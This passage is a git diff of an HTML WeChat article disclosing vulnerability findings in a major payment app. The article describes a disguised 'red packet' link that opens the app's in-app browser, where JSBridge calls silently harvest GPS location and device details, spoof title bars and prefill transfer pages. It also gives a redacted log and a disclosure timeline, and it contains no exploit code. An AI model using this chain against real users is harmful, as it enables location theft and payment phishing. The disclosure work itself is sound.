mirror of
https://github.com/sgInnora/alipay-deeplink-research
synced 2026-06-27 05:34:17 +08:00
Update WeChat article: sensitive word filtering + remove IPFS references
This commit is contained in:
@@ -1,382 +1,392 @@
|
||||
<!--
|
||||
微信公众号文章 HTML
|
||||
标题:点一下链接,GPS就被偷了 —— 某国民级支付App 17个安全漏洞遭曝光
|
||||
标题:位置被秒偷!10亿人每天在用的App,17个「正常功能」细思极恐
|
||||
作者:Innora AI 安全研究
|
||||
日期:2026-03-11
|
||||
|
||||
使用说明:
|
||||
1. 复制 <section id="article"> 内的全部内容
|
||||
2. 粘贴到微信公众号编辑器的"HTML模式"
|
||||
3. 切换回可视化模式检查排版
|
||||
4. 发布
|
||||
1. 在微信公众号后台点击「新建图文」
|
||||
2. 点击编辑器右上角「</>」进入 HTML 模式
|
||||
3. 复制 <section id="article"> 到 </section> 之间的全部内容粘贴
|
||||
4. 切换回可视化模式检查排版
|
||||
5. 设置标题:位置被秒偷!10亿人每天在用的App,17个「正常功能」细思极恐
|
||||
6. 发布
|
||||
-->
|
||||
<section id="article">
|
||||
|
||||
<!-- 标题区域 -->
|
||||
<section style="padding:20px 16px 0;text-align:center;">
|
||||
<p style="font-size:11px;color:#999;letter-spacing:2px;margin-bottom:8px;">INNORA AI 安全研究</p>
|
||||
<section style="padding:16px 16px 0;text-align:center;">
|
||||
<p style="font-size:11px;color:#999;letter-spacing:3px;margin-bottom:4px;">INNORA AI · 安全研究</p>
|
||||
</section>
|
||||
|
||||
<!-- 全文链接入口 - 红色醒目 -->
|
||||
<section style="margin:16px;padding:16px 20px;background:#fff5f5;border-left:4px solid #ff4444;border-radius:0 8px 8px 0;">
|
||||
<p style="font-size:15px;font-weight:700;color:#ff4444;margin-bottom:8px;">📌 完整技术报告(含在线 PoC 演示)</p>
|
||||
<p style="font-size:14px;color:#333;margin-bottom:4px;">
|
||||
<!-- 全文链接入口 - 红色醒目框 -->
|
||||
<section style="margin:16px;padding:16px 20px;background:#fff5f5;border-left:5px solid #ff4444;border-radius:0 8px 8px 0;">
|
||||
<p style="font-size:16px;font-weight:800;color:#ff4444;margin-bottom:10px;">📌 完整技术报告(含在线 PoC 可验证演示)</p>
|
||||
<p style="font-size:14px;color:#333;margin-bottom:6px;">
|
||||
🌐 <strong>研究主站</strong>:<a href="https://innora.ai/zfb/" style="color:#1a6dff;font-weight:700;">https://innora.ai/zfb/</a>
|
||||
</p>
|
||||
<p style="font-size:14px;color:#333;margin-bottom:4px;">
|
||||
🐙 <strong>GitHub 仓库</strong>:<a href="https://github.com/sgInnora/alipay-deeplink-research" style="color:#1a6dff;font-weight:700;">github.com/sgInnora/alipay-deeplink-research</a>
|
||||
<p style="font-size:14px;color:#333;margin-bottom:6px;">
|
||||
🐙 <strong>GitHub(含完整代码)</strong>:<a href="https://github.com/sgInnora/alipay-deeplink-research" style="color:#1a6dff;font-weight:700;">github.com/sgInnora/alipay-deeplink-research</a>
|
||||
</p>
|
||||
<p style="font-size:12px;color:#ff4444;margin-bottom:0;font-weight:600;">⚠️ 为防删除,请自行 Fork 仓库或保存页面到本地备份!</p>
|
||||
<p style="font-size:12px;color:#ff4444;margin-bottom:0;font-weight:700;">⚠️ 为防内容被删,请立即 Fork 仓库 + 保存网页到本地!多备份几个地方!</p>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
<section style="text-align:center;margin:20px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 引言 -->
|
||||
<!-- 震撼开场 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
2026年3月7日,我们向某头部支付平台提交了一份包含 <strong style="color:#ff4444;">17个安全漏洞</strong> 的完整研究报告,附带 308 条服务器日志和 42 张真机截图作为证据。
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
<strong style="font-size:22px;color:#1a1a1a;">你点了一条链接。</strong>
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
厂商的回复只有四个字:<strong style="color:#ff4444;font-size:18px;">「正常功能」</strong>。
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
没有弹窗。没有提示。没有任何异常。
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
我们决定公开全部研究成果。
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
但你的 <strong style="color:#ff4444;">实时位置信息</strong>、手机型号、系统版本、网络状态、蓝牙开关、摄像头权限 —— 在你毫不知情的情况下,<strong style="color:#ff4444;">全部被拿走了</strong>。
|
||||
</p>
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
攻击者还能伪造你看到的每一个界面,把标题栏改成「账户安全中心」,弹出假的系统通知,甚至帮你打开转账页面并填好金额。
|
||||
</p>
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;margin-bottom:0;">
|
||||
而这一切,来自一个 <strong style="color:#ff4444;font-size:18px;">每天超过10亿人使用</strong> 的国民级支付App。
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 小标题:攻击只需一步 -->
|
||||
<!-- 官方说法 - 大字强调 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#1a1a2e;border-radius:12px;padding:24px 20px;text-align:center;">
|
||||
<p style="font-size:13px;color:#888;margin-bottom:8px;letter-spacing:1px;">厂商官方回复 ↓</p>
|
||||
<p style="font-size:28px;font-weight:900;color:#ff4444;margin-bottom:8px;letter-spacing:2px;">「正常功能」</p>
|
||||
<p style="font-size:13px;color:#666;margin-bottom:0;">—— 某头部支付平台安全团队,2026年3月8日</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
是的,你没看错。我们花了3周,在3台设备、3个国家进行交叉验证,提交了包含 <strong>17 个安全发现 + 308 条数据窃取日志 + 42 张真机截图</strong> 的完整报告。
|
||||
</p>
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;margin-bottom:0;">
|
||||
厂商的安全团队评估后回复:<strong style="color:#ff4444;">这些都属于正常功能。</strong>
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 怎么做到的 -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">攻击只需一步:点击一个链接</p>
|
||||
<p style="font-size:22px;font-weight:900;color:#1a1a1a;border-bottom:4px solid #ff4444;display:inline-block;padding-bottom:6px;">只需一步:点一条链接</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
不需要 Root。不需要越狱。不需要任何特殊权限。
|
||||
不需要 Root。不需要越狱。不需要安装任何东西。
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
受害者只需要做一件事 —— <strong>在微信、QQ 或短信中点击一个链接</strong>。
|
||||
受害者唯一需要做的 —— <strong style="color:#ff4444;">在微信群、QQ群或短信里点开一条「红包」链接</strong>。
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
这个链接会通过 DeepLink 协议直接打开目标支付App,在其内置浏览器中加载攻击者的网页。而这个网页,可以调用 App 内部的 JavaScript Bridge 接口 —— <strong style="color:#ff4444;">无需任何额外授权</strong>。
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:0;">
|
||||
这条链接通过 DeepLink 协议直接唤起支付App,在 App 内置浏览器里加载攻击者的网页。而这个网页 <strong>自动获得了 App 的内部接口权限</strong> —— 不弹窗,不授权,静默执行。
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 攻击链图 -->
|
||||
<!-- 攻击链可视化 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:16px;font-family:Menlo,monospace;font-size:13px;line-height:1.8;color:#333;overflow-x:auto;">
|
||||
<p style="margin-bottom:4px;">📱 攻击流程:</p>
|
||||
<p style="margin-bottom:2px;color:#666;">攻击者发送链接 (伪装成红包/活动)</p>
|
||||
<p style="margin-bottom:2px;"> ↓</p>
|
||||
<p style="margin-bottom:2px;color:#666;">受害者点击 → 浏览器解析 DeepLink</p>
|
||||
<p style="margin-bottom:2px;"> ↓</p>
|
||||
<p style="margin-bottom:2px;color:#666;">支付App自动启动 → 加载攻击者页面</p>
|
||||
<p style="margin-bottom:2px;"> ↓</p>
|
||||
<p style="margin-bottom:2px;color:#ff4444;font-weight:700;">JSBridge 全部开放 → 数据被窃取</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 小标题:能偷什么? -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">能窃取什么?</p>
|
||||
</section>
|
||||
|
||||
<!-- CRITICAL -->
|
||||
<section style="margin:0 16px 16px;">
|
||||
<div style="background:#fff5f5;border-left:4px solid #ff4444;border-radius:0 8px 8px 0;padding:14px 16px;">
|
||||
<p style="font-size:12px;font-weight:700;color:#ff4444;margin-bottom:8px;letter-spacing:1px;">🔴 CRITICAL — 严重</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:8px;">
|
||||
<strong>1. GPS 实时定位窃取</strong><br>
|
||||
<span style="color:#666;font-size:14px;">调用 getLocation 接口,静默获取经纬度、城市、国家。当用户曾授予App定位权限时,外部攻击页面可直接获取,不会弹出任何授权提示。</span>
|
||||
<div style="background:#f8f9fa;border-radius:10px;padding:20px 16px;border:1px solid #e8e8e8;">
|
||||
<p style="font-size:15px;font-weight:700;color:#333;margin-bottom:12px;">📱 完整攻击流程:</p>
|
||||
<p style="font-size:14px;line-height:2;color:#666;margin-bottom:4px;">
|
||||
<strong style="color:#333;">❶</strong> 攻击者在群里发「红包链接」/「活动链接」
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:8px;">
|
||||
<strong>2. 转账页面预填充</strong><br>
|
||||
<span style="color:#666;font-size:14px;">调用 startApp 打开转账功能并预填金额和收款账户。最终确认仍需用户操作,但在 UI 欺骗场景下可诱导用户完成。</span>
|
||||
<p style="font-size:14px;line-height:2;color:#666;margin-bottom:4px;">
|
||||
<strong style="color:#333;">❷</strong> 受害者点击 → 手机浏览器解析 DeepLink
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:0;">
|
||||
<strong>3. 支付接口调用</strong><br>
|
||||
<span style="color:#666;font-size:14px;">调用 tradePay 接口可弹出支付确认页。用户取消后返回 resultCode=6001,但攻击者可反复触发,配合 UI 伪装进行钓鱼。</span>
|
||||
<p style="font-size:14px;line-height:2;color:#666;margin-bottom:4px;">
|
||||
<strong style="color:#333;">❸</strong> 支付App <strong style="color:#ff4444;">自动启动</strong> → 加载攻击者的网页
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- HIGH -->
|
||||
<section style="margin:0 16px 16px;">
|
||||
<div style="background:#fff8f0;border-left:4px solid #ff8c00;border-radius:0 8px 8px 0;padding:14px 16px;">
|
||||
<p style="font-size:12px;font-weight:700;color:#ff8c00;margin-bottom:8px;letter-spacing:1px;">🟠 HIGH — 高危</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:8px;">
|
||||
<strong>4. 设备完整指纹</strong><br>
|
||||
<span style="color:#666;font-size:14px;">品牌、型号、系统版本、存储、电量、屏幕分辨率、蓝牙/WiFi/摄像头/麦克风授权状态 —— 一次全部泄露。</span>
|
||||
<p style="font-size:14px;line-height:2;color:#666;margin-bottom:4px;">
|
||||
<strong style="color:#333;">❹</strong> 攻击网页获得内部接口 → <strong style="color:#ff4444;">静默窃取数据</strong>
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:8px;">
|
||||
<strong>5. 标题栏欺骗</strong><br>
|
||||
<span style="color:#666;font-size:14px;">调用 setTitle 将标题栏改为「账户安全中心」,配合 Toast 弹窗伪造系统通知。用户无法区分真假界面。</span>
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:0;">
|
||||
<strong>6. 敏感页面直达</strong><br>
|
||||
<span style="color:#666;font-size:14px;">通过 startApp 直接跳转至交易记录、转账联系人、付款码、余额、安全设置、银行卡管理等 11 个敏感页面,无额外确认。</span>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- MEDIUM -->
|
||||
<section style="margin:0 16px 16px;">
|
||||
<div style="background:#f0f7ff;border-left:4px solid #4488ff;border-radius:0 8px 8px 0;padding:14px 16px;">
|
||||
<p style="font-size:12px;font-weight:700;color:#4488ff;margin-bottom:8px;letter-spacing:1px;">🔵 MEDIUM — 中危</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:8px;">
|
||||
<strong>7-9. 网络信息 / 会话泄露 / 服务器时间同步</strong><br>
|
||||
<span style="color:#666;font-size:14px;">WiFi/蜂窝状态、sessionId、sourcePackageName(知道你从哪来的),以及支付宝服务器精确时间。</span>
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:8px;">
|
||||
<strong>10-13. 链式 WebView / Scheme 注入</strong><br>
|
||||
<span style="color:#666;font-size:14px;">pushWindow 可以无限打开新页面,每个页面都自动获得完整 JSBridge 权限。还可注入 tel: / sms: 协议触发拨号和短信。</span>
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:1.8;color:#333;margin-bottom:0;">
|
||||
<strong>14-17. 剪贴板操作 / 联系人选择 / 分享劫持</strong><br>
|
||||
<span style="color:#666;font-size:14px;">读写剪贴板、弹出联系人选择器、触发分享面板 —— 全部可从外部页面调用。</span>
|
||||
<p style="font-size:14px;line-height:2;color:#666;margin-bottom:0;">
|
||||
<strong style="color:#333;">❺</strong> 数据回传攻击者服务器(用户全程无感知)
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 小标题:证据 -->
|
||||
<!-- 17个「正常功能」 -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">真机实测证据</p>
|
||||
<p style="font-size:22px;font-weight:900;color:#1a1a1a;border-bottom:4px solid #ff4444;display:inline-block;padding-bottom:6px;">17个「正常功能」,逐个拆解</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
我们在 <strong>3 台不同设备、3 个不同国家</strong> 进行了交叉验证:
|
||||
<section style="margin:0 16px 8px;">
|
||||
<p style="font-size:14px;line-height:2;color:#666;">
|
||||
以下每一项,都是外部攻击者页面可以在 App 内静默执行的「正常功能」。
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 严重级 -->
|
||||
<section style="margin:0 16px 14px;">
|
||||
<div style="background:#fff5f5;border-left:5px solid #ff4444;border-radius:0 8px 8px 0;padding:16px 18px;">
|
||||
<p style="font-size:12px;font-weight:800;color:#fff;background:#ff4444;display:inline-block;padding:2px 10px;border-radius:4px;margin-bottom:10px;letter-spacing:1px;">严 重</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#ff4444;">① 实时位置信息窃取</strong><br>
|
||||
<span style="color:#555;font-size:14px;">调用 getLocation,静默获取精确经纬度 + 城市 + 国家。用户曾给App授过定位权限就会中招,<strong style="color:#ff4444;">不会弹任何提示</strong>。</span>
|
||||
</p>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:14px 16px;margin-bottom:12px;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:6px;">📱 <strong>Samsung S25 Ultra</strong> — Android 15, 新西兰</p>
|
||||
<p style="font-size:14px;color:#333;margin-bottom:6px;">📱 <strong>Redmi 12</strong> — Android 14, 马来西亚</p>
|
||||
<p style="font-size:14px;color:#333;margin-bottom:0;">📱 <strong>iPhone 16 Pro</strong> — iOS 18.3, 中国大陆</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#ff4444;">② 转账页面预填充</strong><br>
|
||||
<span style="color:#555;font-size:14px;">调用 startApp 打开转账功能,自动填好收款账号和金额。确认仍需用户操作,但配合 UI 伪装可诱导完成。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:0;">
|
||||
<strong style="color:#ff4444;">③ 支付弹窗触发</strong><br>
|
||||
<span style="color:#555;font-size:14px;">调用 tradePay 弹出支付确认页。用户取消后可反复触发,配合伪造界面进行钓鱼攻击。</span>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
共获取 <strong style="color:#ff4444;">308 条</strong> 服务器端数据日志,<strong style="color:#ff4444;">42 张</strong> 真机截图。攻击者页面成功从这三台设备上静默获取了 GPS 坐标、设备指纹、网络信息等敏感数据。
|
||||
<!-- 高危级 -->
|
||||
<section style="margin:0 16px 14px;">
|
||||
<div style="background:#fff8f0;border-left:5px solid #ff8c00;border-radius:0 8px 8px 0;padding:16px 18px;">
|
||||
<p style="font-size:12px;font-weight:800;color:#fff;background:#ff8c00;display:inline-block;padding:2px 10px;border-radius:4px;margin-bottom:10px;letter-spacing:1px;">高 危</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#e67700;">④ 设备完整指纹一键获取</strong><br>
|
||||
<span style="color:#555;font-size:14px;">品牌、型号、系统版本、存储空间、电量、屏幕分辨率、蓝牙 / WiFi / 摄像头 / 麦克风授权状态 —— 一次性全部泄露。</span>
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
服务器日志示例:
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#e67700;">⑤ 标题栏 + 通知伪造</strong><br>
|
||||
<span style="color:#555;font-size:14px;">setTitle 把标题栏改成「账户安全中心」,toast 弹出假通知。用户根本分不清真假。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#e67700;">⑥ 11个敏感页面直达</strong><br>
|
||||
<span style="color:#555;font-size:14px;">交易记录、转账联系人、付款码、余额宝、安全设置、银行卡管理…… 通过 startApp 直接跳转,零确认。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#e67700;">⑦ 会话信息泄露</strong><br>
|
||||
<span style="color:#555;font-size:14px;">getStartupParams 暴露 sessionId、启动来源、App版本。攻击者知道你从哪个App跳转过来的。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#e67700;">⑧ 网络状态窃取</strong><br>
|
||||
<span style="color:#555;font-size:14px;">WiFi / 蜂窝 / 网络类型全部暴露。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:0;">
|
||||
<strong style="color:#e67700;">⑨ 服务器时间同步</strong><br>
|
||||
<span style="color:#555;font-size:14px;">获取平台精确服务器时间,可用于时序攻击。</span>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 中危级 -->
|
||||
<section style="margin:0 16px 14px;">
|
||||
<div style="background:#f0f7ff;border-left:5px solid #4488ff;border-radius:0 8px 8px 0;padding:16px 18px;">
|
||||
<p style="font-size:12px;font-weight:800;color:#fff;background:#4488ff;display:inline-block;padding:2px 10px;border-radius:4px;margin-bottom:10px;letter-spacing:1px;">中 危</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#2266cc;">⑩ 链式 WebView 无限打开</strong><br>
|
||||
<span style="color:#555;font-size:14px;">pushWindow 可无限打开新页面,每个页面自动继承全部接口权限,形成无限攻击链。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#2266cc;">⑪⑫ Scheme 注入(拨号 + 短信)</strong><br>
|
||||
<span style="color:#555;font-size:14px;">pushWindow 可注入 tel: 和 sms: 协议,触发系统拨号器和短信应用。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:10px;">
|
||||
<strong style="color:#2266cc;">⑬⑭ 剪贴板读写</strong><br>
|
||||
<span style="color:#555;font-size:14px;">setClipboard / getClipboard,静默读取和修改用户剪贴板内容。</span>
|
||||
</p>
|
||||
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:0;">
|
||||
<strong style="color:#2266cc;">⑮⑯⑰ 联系人选择 / 分享劫持 / 振动反馈</strong><br>
|
||||
<span style="color:#555;font-size:14px;">弹出联系人选择器获取信息、触发分享面板、控制手机振动 —— 全部从外部页面一键调用。</span>
|
||||
</p>
|
||||
<div style="background:#1a1a2e;border-radius:8px;padding:14px 16px;font-family:Menlo,monospace;font-size:12px;line-height:1.6;color:#44cc88;overflow-x:auto;">
|
||||
<p style="margin-bottom:4px;color:#888;">// 真实日志摘录 (已脱敏)</p>
|
||||
<p style="margin-bottom:2px;">{</p>
|
||||
<p style="margin-bottom:2px;"> "tag": "GPS_Location",</p>
|
||||
<p style="margin-bottom:2px;"> "data": {</p>
|
||||
<p style="margin-bottom:2px;"> "latitude": "-36.8***",</p>
|
||||
<p style="margin-bottom:2px;"> "longitude": "174.7***",</p>
|
||||
<p style="margin-bottom:2px;"> "city": "Auckland",</p>
|
||||
<p style="margin-bottom:2px;"> "country": "NZ"</p>
|
||||
<p style="margin-bottom:2px;"> },</p>
|
||||
<p style="margin-bottom:2px;"> "device": "SM-S938B",</p>
|
||||
<p style="margin-bottom:2px;"> "timestamp": "2026-03-07T09:14:22Z"</p>
|
||||
<p style="margin-bottom:0;">}</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 小标题:负责任披露 -->
|
||||
<!-- 真机证据 -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">负责任披露时间线</p>
|
||||
<p style="font-size:22px;font-weight:900;color:#1a1a1a;border-bottom:4px solid #ff4444;display:inline-block;padding-bottom:6px;">3台设备,3个国家,308条日志</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#f8f9fa;border-radius:10px;padding:16px;border:1px solid #e8e8e8;">
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">📱 <strong>Samsung S25 Ultra</strong> — Android 15 · 新西兰</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">📱 <strong>Redmi 12</strong> — Android 14 · 马来西亚</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:0;">📱 <strong>iPhone 16 Pro</strong> — iOS 18.3 · 中国大陆</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:12px;">
|
||||
三台设备全部中招。攻击者服务器共记录了 <strong style="color:#ff4444;">308 条</strong> 窃取数据日志。以下是脱敏后的真实日志片段:
|
||||
</p>
|
||||
<div style="background:#1a1a2e;border-radius:10px;padding:16px 18px;font-family:'Courier New',Menlo,monospace;font-size:12px;line-height:1.8;color:#44cc88;overflow-x:auto;">
|
||||
<p style="margin-bottom:2px;color:#666;">// 真实服务器日志 (坐标已脱敏)</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;">{</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;"> "tag": "<span style="color:#ff8888;">Location_Data</span>",</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;"> "latitude": "<span style="color:#ffaa22;">-36.8***</span>",</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;"> "longitude": "<span style="color:#ffaa22;">174.7***</span>",</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;"> "city": "<span style="color:#ffaa22;">Auckland</span>",</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;"> "device": "SM-S938B",</p>
|
||||
<p style="margin-bottom:2px;color:#44cc88;"> "timestamp": "2026-03-07T09:14:22Z"</p>
|
||||
<p style="margin-bottom:0;color:#44cc88;">}</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 披露时间线 -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:22px;font-weight:900;color:#1a1a1a;border-bottom:4px solid #ff4444;display:inline-block;padding-bottom:6px;">负责任披露全记录</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="border-left:3px solid #ddd;padding-left:16px;">
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:8px;">
|
||||
<strong style="color:#4488ff;">2026-02-25</strong> —— 首次报告 (TLS/SSL 发现) → 官方 SRC 邮箱
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:8px;">
|
||||
<strong style="color:#4488ff;">2026-02-25</strong> · 首次报告 (TLS/SSL 相关) → 官方安全响应中心
|
||||
</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:8px;">
|
||||
<strong style="color:#4488ff;">2026-03-07</strong> —— 完整 V3 报告 (17漏洞 + 308日志 + 42截图) → 安全联系人
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:8px;">
|
||||
<strong style="color:#4488ff;">2026-03-07</strong> · 完整报告 V3:17个发现 + 308条日志 + 42张截图 → 安全团队联系人
|
||||
</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:8px;">
|
||||
<strong style="color:#ff4444;">2026-03-08</strong> —— 厂商回复:<strong style="color:#ff4444;">「根据我们的评估这些属于正常功能」</strong>
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:8px;">
|
||||
<strong style="color:#ff4444;">2026-03-08</strong> · 厂商回复:<strong style="color:#ff4444;">「根据我们的评估,这些属于正常功能」</strong>
|
||||
</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:0;">
|
||||
<strong style="color:#ff4444;">2026-03-11</strong> —— 公开披露
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:0;">
|
||||
<strong style="color:#ff4444;">2026-03-11</strong> · 公开全部研究成果
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 我们的态度 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#fff5f5;border-radius:8px;padding:16px;border:1px solid #ffcccc;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
我们理解厂商有自己的风险评估标准。但当一个外部网页可以在 App 内静默获取用户 GPS 定位、伪造应用界面进行钓鱼、甚至预填转账信息时,将其定性为「正常功能」,<strong style="color:#ff4444;">我们无法认同</strong>。
|
||||
<div style="background:#fff5f5;border-radius:10px;padding:18px 20px;border:1px solid #ffcccc;">
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
我们完全遵循了负责任披露流程。先私下报告,等待官方响应。
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:0;">
|
||||
公开披露不是为了对抗,而是为了让更多安全研究人员和用户知情,共同推动问题解决。
|
||||
<p style="font-size:16px;line-height:2.2;color:#333;">
|
||||
当一个外部网页能在 App 内 <strong style="color:#ff4444;">静默获取用户位置</strong>、<strong style="color:#ff4444;">伪造界面进行钓鱼</strong>、<strong style="color:#ff4444;">预填转账信息</strong> 时——
|
||||
</p>
|
||||
<p style="font-size:18px;line-height:2;color:#ff4444;font-weight:800;margin-bottom:0;">
|
||||
称之为「正常功能」,我们无法接受。
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
|
||||
<!-- 小标题:PoC -->
|
||||
